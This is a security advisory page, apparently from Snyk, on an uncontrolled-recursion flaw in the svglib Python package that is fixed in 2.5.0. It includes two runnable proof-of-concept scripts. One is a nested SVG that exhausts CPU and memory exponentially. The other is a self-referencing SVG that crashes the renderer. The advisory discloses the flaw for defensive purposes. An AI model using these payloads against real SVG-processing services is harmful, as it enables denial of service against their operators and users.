Uncontrolled Recursion Affecting svglib package, versions [,2.5.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.75% (52nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Uncontrolled Recursion vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-SVGLIB-23050741
  • published30 Nov 2026
  • disclosed27 Nov 2026
  • creditGeniusKangaroo

Introduced: 27 Nov 2026

NewCVE-2026-137952  (opens in a new tab)
CWE-674  (opens in a new tab)

How to fix?

Upgrade svglib to version 2.5.0 or higher.

Overview

svglib is a library for reading SVG files and converting them (to a reasonable degree) to other formats using the ReportLab Open Source toolkit.

Affected versions of this package are vulnerable to Uncontrolled Recursion via SvgRenderer.renderNode() in src/svglib/svglib.py, which resolves <image xlink:href="#..."> and <image href="#..."> fragment references by calling self.renderNode(target) recursively without enforcing the expansion limits (MAX_USE_EXPANSIONS, MAX_USE_CLONED_ELEMENTS) or cycle detection (self._use_stack) that protect renderUse(). An attacker can pass an SVG to svg2rlg() containing a DAG of nested groups with paired <image href="#..."> references to trigger exponential CPU and memory consumption (a Billion-Laughs-style amplification), or a self-referencing <image id="a" href="#a"/> to cause an immediate unhandled RecursionError crash.

PoC

PoC 1: Exponential 2^n Billion-Laughs CPU/Memory Exhaustion

import time
from svglib.svglib import svg2rlg
import io

18 levels of binary-tree <image href="#gN"/> amplification = 2^18 (262,144) expansions from a 1.6 KB SVG

depth = 18 defs = ['<g id="g0"><rect width="10" height="10"/></g>'] for i in range(1, depth + 1): defs.append(f'<g id="g{i}"><image href="#g{i-1}"/><image href="#g{i-1}"/></g>')

svg_payload = f'<svg xmlns="http://www.w3.org/2000/svg"><defs>{"".join(defs)}</defs><image href="#g{depth}"/></svg>' print(f"Payload size: {len(svg_payload)} bytes")

t0 = time.perf_counter() drawing = svg2rlg(io.BytesIO(svg_payload.encode())) print(f"Elapsed: {time.perf_counter() - t0:.2f}s")

On svglib 2.3.1 (HEAD), a 1,468-byte SVG (depth=16) executes 131,071 recursive renderNode() calls in 1.70s (bypassing MAX_USE_EXPANSIONS = 1000 by over 130x), and depth=22 (~1.9 KB SVG, 8.3 million expansions) hangs the process and exhausts gigabytes of RAM building nested ReportLab Group objects. #

PoC 2: Unhandled RecursionError via Self-Reference

import io
from svglib.svglib import svg2rlg

svg_cycle = b'<svg xmlns="http://www.w3.org/2000/svg"><image id="a" href="#a"/></svg>' svg2rlg(io.BytesIO(svg_cycle))

CVSS Base Scores

version 4.0
version 3.1